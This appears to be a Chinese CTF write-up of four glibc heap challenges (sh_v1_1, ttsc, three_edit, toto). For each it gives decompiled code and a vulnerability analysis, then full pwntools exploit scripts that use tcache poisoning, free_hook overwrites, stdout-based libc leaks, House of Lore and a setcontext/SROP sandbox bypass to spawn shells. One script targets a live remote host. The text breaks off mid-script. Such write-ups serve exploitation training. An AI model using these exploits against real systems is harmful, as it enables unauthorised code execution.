Pwnhub三月赛+铁三heap2019

1. sh_v1_1

1
2
3
4
5
6
7
8
9
10
11
12
#commnd
ls

cat

cp #复制文件

ln #创建链接

touch #创建文件并写入,文件数max==79
gedit #修改文件并写入
rm #删除文件

分析

程序里面有很多脏东西,去除那些乱七八糟的东西,再看主要内容

main

1
2
3
4
5
6
7
8
9
10
11
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
init_0();
start_0(a1, a2);
while ( 1 )
{
printf(">>>>");
read_0();
Commnd();
}
}

start

在该函数中,将文件标识全部置0

1
2
3
4
5
6
for ( i = 0; i <= 79; ++i )
{
*((_QWORD *)&unk_A0C0 + 6 * i) = 0LL;
qword_A0E8[6 * i] = 0LL;
*((_QWORD *)&unk_A0C0 + 6 * i + 1) = 'modeerf';
}

read_0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
v9 = __readfsqword(0x28u);
strcpy(delim, " ");
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;

*(_QWORD *)s1 = qword_A0A0;
*(_QWORD *)src = qword_A0A0;
result = qword_A0A0;

read_line(s, 32LL);
src = strtok(s, delim);

strcpy(s1, src);
srca = strtok(0LL, delim);
if ( !srca )
return 0LL;
strcpy(::src, srca);
srcb = strtok(0LL, delim);
if ( !srcb )
return 0LL;

strcpy(qword_A090, srcb);

Commnd

感觉像个菜单堆题…

其他命令

cp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for ( m = 0; m <= 79; ++m )


strncpy((char *)qword_A0E8[6 * m], (const char *)qword_A0E8[0], 0x208uLL);

for ( n = 0; ; ++n )
{
if ( n > 79 )
goto LABEL_807;
if ( !*((_QWORD *)&unk_A0C0 + 6 * n) )
break;
}

*((_QWORD *)&unk_A0C0 + 6 * n) = 1LL;

qword_A0E8[6 * n] = malloc(0x208uLL);

strcpy((char *)&unk_A0C0 + 48 * n + 8, qword_A090);

strncpy((char *)qword_A0E8[6 * n], (const char *)qword_A0E8[0], 0x208uLL);

ln

1
2
3
4
5
6
7
for ( kk = 0; ; ++kk )
{
if ( kk > 79 )

strcpy((char *)&unk_A0C0 + 48 * mm + 8, qword_A090);
*((_QWORD *)&unk_A0C0 + 6 * mm) = 1LL;
qword_A0E8[6 * mm] = qword_A0E8[6 * kk];

ls

1
2
3
4
5
6
7
//ls命令中,i为文件数,输出文件名
for ( i = 0; i <= 79; ++i )
{
if ( *((_QWORD *)&unk_A0C0 + 6 * i) == 1LL )
printf("%s ", (const char *)&unk_A0C0 + 48 * i + 8);
}
putchar(10);
菜单

touch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	for ( k = 0; k <= 79; ++k )
{
if ( !*((_QWORD *)&unk_A0C0 + 6 * k) )
{
*((_QWORD *)&unk_A0C0 + 6 * k) = 1LL;
qword_A0E8[6 * k] = malloc(0x208uLL);
read_line(qword_A0E8[6 * k], 0x208uLL); //off-by-null??
strcpy((char *)&unk_A0C0 + 48 * k + 8, src);
return 0LL;
}
}
LABEL_807:
puts("Maximum number of files. Please delete the file.");
return 0LL;
}
LABEL_711:
puts("file_name is NULL");
return 0LL;

rm

没有UAF,清空了fd指针,将文件标识改为0,即不存在

但是动态调试发现,从下一个chunk看,被rm的堆块,仍然存在

1
2
3
free((void *)qword_A0E8[6 * jj]);
qword_A0E8[6 * jj] = 0LL;
*((_QWORD *)&unk_A0C0 + 6 * jj) = 0LL;

gedit

1
read_line(qword_A0E8[6 * ii], 0x200uLL);

cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for ( j = 0; j <= 79; ++j )
{
if ( !strcmp(src, (const char *)&unk_A0C0 + 48 * j + 8) )
{
if ( *((_QWORD *)&unk_A0C0 + 6 * j) == 1LL )
{
puts((const char *)qword_A0E8[6 * j]);
return 0LL;
}
}
LABEL_223:
puts("NO FILE");
return 0LL;
}

思路

漏洞点:UAF

思路像增删查改菜单题,漏洞像是offbynull,试验后发现不是,是UAF

在泄露libc和heap的过程中,慢慢动调

最后发现通过ln命令,可以实现类似UAF的效果

远程打不通后,尝试了下onegadget,条件都不满足

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
one_gadget = [libc_base+0xe3afe, libc_base+0xe3b01, libc_base+0xe3b04]

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *
from ctypes import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='amd64'

#libc = ELF('./libc-2.31.so')
banary = "./sh_v1.1"
elf = ELF(banary)
ip = '121.40.89.206'
port = 34883

local = 0
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ menu ----------------------------
def ls():
ru('>>>>')
sl(b'ls')

def cp(name1, name2):
ru('>>>>')
sl(b'cp '+ name1 +b' '+ name2)

def ln(name1, name2):
ru('>>>>')
sl(b'ln '+ name1+ b' '+ name2)

def add(name ,con=p64(0xdeadbeef)):
ru('>>>>')
sl(b'touch '+ name)
sleep(0.1)
sl(con)

def free(name):
ru('>>>>')
sl(b'rm ' + name)

def show(name):
ru('>>>>')
sl(b'cat ' + name)

def edit(name, con=p64(0xdeadbeef)):
ru('>>>>')
sl(b'gedit ' + name)
sleep(0.1)
sl(con)
#------------------------ heap_base ----------------------------
for i in range(10): #0-9
add(b'a'+c_byte(i), b'aaaa')
for i in range(7): #0-6
free(b'a'+c_byte(i))

add(b'a10', b'')
show(b'a10')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xCf0
lg('heap_base')
free(b'a10')

#------------------------ libc_base ----------------------------
free(b'a'+ c_byte(7))
free(b'a'+ c_byte(8))
for i in range(11, 18): #11-17
add(b'a'+c_byte(i), b'')

add(b'a18', b'')
show(b'a18')
malloc_hook = u64(p.recv(6).ljust(8, b"\x00")) - 1104 - 0x10
lg('malloc_hook')

libc = LibcSearcher("__malloc_hook", malloc_hook)
for i in libc :
print(i)
'''
libc6-amd64_2.31-6_i386
libc6-amd64_2.31-0ubuntu9.2_i386
libc6_2.31-6_amd64
libc6_2.31-0ubuntu9.2_amd64
libc6_2.31-8_amd64
libc6_2.31-7_amd64
libc6-amd64_2.31-9_i386
libc6-amd64_2.31-7_i386
libc6_2.31-9_amd64
libc6-amd64_2.31-8_i386
'''
libc.select_libc(3)

libc_base = malloc_hook - libc.dump('__malloc_hook')
lg('libc_base')

#------------------------ pwn ----------------------------
#Gadget
system = libc_base + libc.dump('system')
free_hook = libc_base + libc.dump('__free_hook')

#chunk17-11 + 18
ln(b'a'+c_byte(17), b'b'+c_byte(17))
ln(b'a'+c_byte(16), b'b'+c_byte(16))
ln(b'a'+c_byte(15), b'b'+c_byte(15))

free(b'a'+c_byte(17))
free(b'a'+c_byte(16))
free(b'a'+c_byte(15))

edit(b'a'+c_byte(11), b'/bin/sh\x00')

edit(b'b'+c_byte(16), p64(free_hook))


add(b'fin1', b'')
add(b'fin2', b'')
add(b'fin3', p64(system))


free(b'a'+c_byte(11))

pi()

2. ttsc

Scanf特性

scanf接受“-”字符,不会改变栈上数据情况

要泄露libc,必须控制版本为对应的Ubuntu GLIBC 2.27-3ubuntu1.6

Overlapping

存在一个off-by-one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
add(0, 0x28)
add(1, 0x28)
add(2, 0x28)

#使得chunk1和chunk2合并为一个0x60大小的chunk
edit(0, b'/bin/sh\0' + b'a'*0x20 + p8(0x61))

#释放0x60chunk,同时申请下来
#此时是一个0x60大小的chunk
#可以通过编号1控制其内容,通过编号2控制其下半部分
free(1)
add(1, 0x58)

#tcache poinsion
#chunk2 --> free_hook
free(2)
edit(1, b'a'*0x28 + p64(0x31) + p64(free_hook) )

#free_hook --> system
add(2, 0x28, 'a')
add(3, 0x28, p64(system))

#getshell
free(0)

'''
最后也可以指向free_hook-0x8, 然后一步到位
edit(1, b'a'*0x28 + p64(0x31) + p64(free_hook-0x8) )

add(2, 0x28, 'a')
add(3, 0x28, b'/bin/sh\x00' + p64(system))

free(3)
'''

分析

main

在进菜单前,有个输入name之类的函数,先分析菜单,再回头关注这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __noreturn main()
{
int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
init_0();
FMT();
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v0);
getchar();
switch ( v0 )
{
case 2:
delete();
break;
case 3:
Edit();
break;
case 1:
Add();
break;
}
}
}

Add:index,size,content,大小<=0x78, chunk_num== 0,1,2,3 (可以先free再申请)

delete:没有UAF,所以得找找其他漏洞,如数组越界,溢出(调试中发现,free后,pre_size为依旧为1,有问题的)

Edit:使用三次后,close(1),存在offbyone

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int Edit()
{
int result; // eax
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("index?");
v1 = read_num();
if ( v1 >= 4 )
return puts("?");
printf("content:");
read_con(heap[v1], heap_size[v1]);
if ( !edit_num )
close(1);
result = edit_num;
if ( edit_num )
return --edit_num;
return result;
}

unsigned __int64 __fastcall read_con(__int64 a1, unsigned __int64 a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; a2 >= i; ++i ) //i<a2才合理
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(_BYTE *)(a1 + i) = buf;
}
return __readfsqword(0x28u) ^ v5;
}

FMT

泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 FMT()
{
puts("aaaaaaaaaaaaaaaaaa");
puts("bbbbbbbbbbbbbbbbbbb");
puts("cccccccccccccccccccc");
BUG();
return 0LL;
}

__int64 BUG()
{
int v1; // [rsp+0h] [rbp-60h] BYREF
int v2; // [rsp+4h] [rbp-5Ch] BYREF
__int64 v3; // [rsp+8h] [rbp-58h]
__int64 v4; // [rsp+10h] [rbp-50h]
__int64 v5; // [rsp+18h] [rbp-48h]
__int64 v6; // [rsp+20h] [rbp-40h]
__int64 v7; // [rsp+28h] [rbp-38h]
__int64 v8; // [rsp+30h] [rbp-30h]
__int64 v9; // [rsp+38h] [rbp-28h]
__int64 buf[4]; // [rsp+40h] [rbp-20h] BYREF

buf[3] = __readfsqword(0x28u);
v3 = 10LL;
v4 = 20LL;
v5 = 30LL;
v6 = 40LL;
v7 = 10LL;
v8 = 0LL;
v9 = 0LL;
buf[0] = 0LL;
buf[1] = 0LL;
puts("what is your name?");
read(0, buf, 0x10uLL);
puts("age?");
__isoc99_scanf("%d", &v1);
if ( v1 <= 15 )
puts("too young");
LODWORD(v8) = v1;
puts("high?");
__isoc99_scanf("%d", &v2);
if ( v2 > 256 )
puts("Is too high");
HIDWORD(v8) = v2;
puts("Welcome to my world.");
printf("name: %sage: %d\nhigh: %d\n", (const char *)buf, (unsigned int)v8, HIDWORD(v8));
return 0LL;
}

思路

漏洞点:off-by-one

  1. 利用FMT函数,利用scanf输入’-‘不改变泄露libc
  2. add的chunk大小为(0, 0x78]
  3. 利用edit的offbyone进行攻击,可以overlapping

堆重叠是真好玩

如果不需要通过unsorted bin泄露libc,tcache泄露heap,通过堆重叠,三个堆块就可以实现tcache poinsion

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='amd64'

libc = ELF('./libc-2.27.so')
banary = "./ttsc"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ ----------------------------
def menu(choice):
ru('chs:')
sl(str(choice))

def add(index, size,con=p64(0xdeadbeef)):
menu(1)
ru('index?')
sl(str(index))
ru('size:')
sl(str(size))
sleep(0.1)
s(con)

def free(index):
menu(2)
ru('index?')
sl(str(index))

def edit(index, con=p64(0xdeadbeef)):
menu(3)
ru('index?')
sl(str(index))
ru('content:')
sl(con)

def start(name, age, high):
ru('name?')
sl(name)
ru('age?')
sl(age)
ru('high?')
sl(high)
#------------------------ libc ----------------------------
start(b'Csc8', '-', '-')
ru('age: ')
libc_low = int(p.recvuntil('\n', drop=True))
ru('high: ')
libc_high = int(p.recvuntil('\n', drop=True))
libc_base= libc_high*0x100000000+ libc_low- libc.sym["_IO_file_jumps"]

lg('libc_base')

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
#------------------------ overlapping ----------------------------
add(0, 0x28)
add(1, 0x28)
add(2, 0x28)

edit(0,b"a"*0x28+p8(0x61))

free(1)
add(1,0x58,"aaaaa")
free(2)

edit(1, p64(0)*5+p64(0x31)+p64(free_hook-8) )


add(2, 0x28)
add(3, 0x28, b"/bin/sh\x00"+p64(system))

free(3)

#debug()
pi()

3. three_edit

层次

tcache bin (0x20 – 0x410)

fastbin (0x10 – 0x70)

unsorted bin (0x70+)

small bin(<0x400) | large bin(>=0x400)

free的堆块先进tcache bin ,当tcache bin链子填满七块后

先判断能否进fastbin,如果不行,放进unsorted bin

之后申请chunk

如果unsorted bin大小不能满足,就根据unsorted bin的大小,放入small bin或者large bin

Scanf特性

scanf存在分配大内存的特性

scanf可以合并掉fastbin中的chunk获取unsorted bin或者small bin

有点牛的操作:存在fastbin,通过scanf一个很大的内容进缓冲区,从而使两个连在一起的fastbin合并成small bin

学习:仅offbynull攻击-https://www.mrskye.cn/archives/3cd31180/

提到了scanf分配大内存的问题

Tcache Bins结构体

tcache_perthread_struct

其上会记录tcache bins的地址,如果能够修改该结构体上记录的某个tcache bin,可以直接修改对应tcache bin的内容

如果借助结构体,修改tcache bin的fd指针,从而改变指向

分析

main

init_0中申请了两个堆块,一个记录堆块地址,一个记录堆块的大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init_0();
while ( 1 )
{
while ( 1 )
{
menu(a1, a2);
a2 = (char **)&v3;
a1 = "%d";
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 != 3 )
break;
Edit();
}
if ( v3 <= 3 )
{
if ( v3 == 1 )
{
Add();
}
else if ( v3 == 2 )
{
free_0();
}
}
}
}

menu

init_0:存放了两个堆块,一个记录heap地址,一个记录对应heap的大小

add:index,size,content。下标<=14,size[0x50,0x70]

free:index,没有UAF

edit:index,conten,限制次数为三次,且修改内容大小固定为0x50

需要注意的是,堆块的size和下标,都由初始init_0函数中申请的两个堆块 记录的值 决定

下标为负数时,可以修改tcache bin结构体

思路

在edit函数里,存在负向的越界写,基点是第一个初始chunk

其负向是tcachebin结构体,借助其实现覆写,泄露和攻击(使用三条tcache bin链子)

没有show函数,需要通过_IO_2_1_stdout_进行泄露libc和heap_base

  1. 获得三条tcache bin链子(0x70,0x60,0x50)和两个fastbin
  2. 利用scanf特性,将fastbin合并为small bin,其上残留libc
  3. 反向写可以更改tcache结构体,从而修改对应tcache链的内容
  4. 利用tcache3链子,指向small bin上方,从而覆写small_bin_fd为_IO_2_1_stdout
  5. 利用tcache1链子,指向small_bin_fd,实现tcache bin -> small bin -> IO
  6. malloc出来,修改IO,从而泄露libc
  7. 利用tcache2, 改free_hook-0x8为’/bin/sh’,free_hook为system
  8. get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='amd64'

libc = ELF('./libc-2.31.so')
banary = "./pwn4"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#------------------------ menu ----------------------------
def menu(choice):
ru('is:')
sl(str(choice))

def add(index, size,con=p64(0xdeadbeef)):
menu(1)
ru('index:')
sl(str(index))
ru('size:')
sl(str(size))
ru('content:')
sl(con)

def free(index):
menu(2)
ru('index?')
sl(str(index))

def edit(index, con=p64(0xdeadbeef)):
menu(3)
ru('index?')
sl(str(index))
ru('content:')
sl(con)

#------------------------ leak_libc ----------------------------
#tcache bin 1
for i in range(9): #0-8
add(i, 0x70, '')
for i in range(8,-1,-1): #6-0
free(i)

#tcache bin 2
add(0, 0x60, '')
add(1, 0x60, '')
free(0)
free(1)

#tcache bin 3
add(0, 0x50, '')
add(1, 0x50, '')
free(0)
free(1)

#fast bin to small bin
sla('is:', '9'*0x400)

#set small bin --> _IO_2_1_stdout (IO-0x33: size = 0x7f)
tcache3 = -62
edit(tcache3, p16(0xb380))
add(0, 0x50, '')
add(1, 0x50, p64(0)*3 + p64(0x81) + p16(0x26a0))

#set tcache bin3 --> small bin --> _IO_2_1_stdout
tcache1 = tcache3 + 2
edit(tcache1, p16(0xb3a0))

add(2, 0x70, '')
add(3, 0x70, '')
add(4, 0x70, p64(0xfbad1800) + p64(0)*3 + p8(0))

libc_base = uu64() - libc.sym['_IO_2_1_stdin_']
lg('libc_base')

#------------------------ Tcache poinsion ----------------------------
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

tcache2 = tcache3 + 1
edit(tcache2, p64(free_hook-0x8))

add(5, 0x60,)
add(6, 0x60, b'/bin/sh\0' + p64(system))

free(6)


pi()

4. toto

笔者的libc版本是Ubuntu GLIBC 2.31-0ubuntu9.7,最后setcontext处与远端有差异

远端是Ubuntu GLIBC 2.31-0ubuntu9.2,第二种打法使用的是远端版本

house of lore作为tcache_stashing_unlink手法的前置思想

前置:House of Lore

学习https://www.anquanke.com/post/id/198173#h3-3

前提:能控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

目标:从而实现分配任意指定位置的 chunk,从而修改任意地址的内存。(任意地址写)

how2heap- poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;

// 获取 small bin 中倒数第二个 chunk 。
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 获取 small bin 中倒数第二个 chunk 。
set_inuse_bit_at_offset (victim, nb);

// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
void* fake_freelist[7][4];

intptr_t *victim = malloc(0x100);

void *dummies[7];
for(int i=0; i<7; i++)
dummies[i] = malloc(0x100);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;

stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];


void *p5 = malloc(1000);

for(int i=0; i<7; i++)
free(dummies[i]);

free((void*)victim);

void *p2 = malloc(1200);

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

for(int i=0; i<7; i++)
malloc(0x100);

void *p3 = malloc(0x100);

char *p4 = malloc(0x100);

intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode

long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的 fake chunk

并且同时满足之后的 bck->fd != victim 的检测,

那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。

当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk。

前提:

  1. 能控制 Small Bin Chunk 的 bk 指针。
  2. 程序可以越过Tache取Chunk。(使用calloc即可做到)
  3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

目标:

  1. 向任意指定位置写入指定值。
  2. 向任意地址分配一个Chunk。

how2heap-demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
setbuf(stdout, NULL);

stack_var[3] = (unsigned long)(&stack_var[2]);

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

//last tcache bin
free(chunk_lis[1]);

//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
malloc(0xa0);// size > 0x90

//now 5 tcache bins
malloc(0x90);
malloc(0x90);


//change victim->bck
chunk_lis[2][1] = (unsigned long)stack_var; //bk --> target


//trigger the attack
calloc(1,0x90);

//malloc and return our fake chunk on stack
target = malloc(0x90);


printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
assert(target == &stack_var[2]);
return 0;
}

攻击方式1:任意写:

利用的是tcache bin中有剩余(数量小于TCACHE_MAX_BINS)时,同大小的small bin会放进tcache中,这种情况可以使用calloc分配同大小堆块触发(因为calloc分配堆块时不从tcache bin中选取)

在获取到一个smallbin中的一个chunk后,如果tcache仍有足够空闲位置,会将剩余的smallbin挂进tcache中,在这个过程中只对第一个bin进行了完整性检查,后面的堆块的检查缺失。

当攻击者可以修改一个small bin的bk时,就可以实现在任意地址上写一个libc地址。

攻击方式2:fake_chunk:

当Tcache存在两个以上的空位时,程序会将我们的fake chunk置入Tcache, 分配fake_chunk到任意地址

  1. 填充tcache bin,获得unsorted bin,泄露heap和libc
  2. 布置堆
  3. 向small bin中加入两个chunk
  4. 执行Tcache Stashing Unlink Attack

绕沙盒

winmt: 高版本绕沙盒的方式

通过setcontext + 61,控制寄存器rdx
(1)可以找gadget,使rdi或其他寄存器与rdx之间进行转换
(2)通过改__malloc_hooksetcontext + 61,劫持IO_FILE(多是stdin),将vtable改成_IO_str_jumps的地址,最后通过exit,会走到_IO_str_overflow函数,其中有malloc函数触发__malloc_hook,此时的rdx就是_IO_write_ptr中的值,所以直接使_IO_write_ptr = SROP_addr即可。

通过改__malloc_hook并劫持_IO_FILE的方法:
为什么说一般劫持的都是stdinIO_FILE呢?因为__malloc_hookstdin距离是比较近的,可以在劫持IO_FILE的同时,就把__malloc_hook改掉。
可按如下方式构造payload

1
2
3
4
5
6
7
8
9
10
11
12
SROP_addr = libc_base + libc.sym['_IO_2_1_stdin_'] + 0xe0
payload = p64(0)*5 + p64(SROP_addr) # _IO_write_ptr
payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps_offset())

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x200
frame.rsp = address + 8
frame.rip = libc_base + libc.sym['read']
payload += bytes(frame)
payload = payload.ljust(0x1f0, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) # __malloc_hook

fake_IO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#------------------------  Gadget  ----------------------------
malloc_hook=libc_base+libc.symbols["__malloc_hook"]

setcontext=libc_base+libc.sym['setcontext']

stdin=libc_base+libc.sym["_IO_2_1_stdin_"]

malloc_hook_base=malloc_hook&0xfffffffffffff000 #内存⻚对⻬

vtable = libc_base + 0x1E9560 #_IO_str_jumps

#------------------------ fake_IO_stdin ----------------------------
fake_io = p64(0xfbad1800) #flag
fake_io += p64(0) #_IO_read_ptr
fake_io += p64(0) #_IO_read_end
fake_io += p64(0) #_IO_read_base
fake_io += p64(0) #_IO_write_base
fake_io += p64(stdin+0xe0) #_IO_write_ptr: _IO_wide_data_0
fake_io += p64(0) #_IO_write_end
fake_io += p64(0) #_IO_buf_base
fake_io += p64(0) #_IO_buf_end
fake_io += p64(0) #_IO_save_base
fake_io += p64(0) #_IO_backup_base
fake_io += p64(0) #_IO_save_end
fake_io += p64(0) #_markers
fake_io += p64(0) #_chain
fake_io += p64(0) #_fileno
fake_io += p64(0) #_flags2
fake_io += p64(0) #_old_offset
fake_io += p64(0) #_cur_column
fake_io += p64(0) #_vtable_offset
fake_io += p64(0) #_shortbuf
fake_io += p64(0) #_lock
fake_io += p64(0) #_offset
fake_io += p64(0) #_codecvt
fake_io += p64(0) #_wide_data
fake_io += p64(0) #_freeres_list
fake_io += p64(0) #_freeres_buf
fake_io += p64(0) #__pad5
fake_io += p64(vtable) #vtable: _IO_str_jumps

ORW-shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#------------------------  mprotect  ----------------------------
frame = SigreturnFrame()
frame.rdi = malloc_hook_base
frame.rsi = 0x1000
frame.rdx = 7
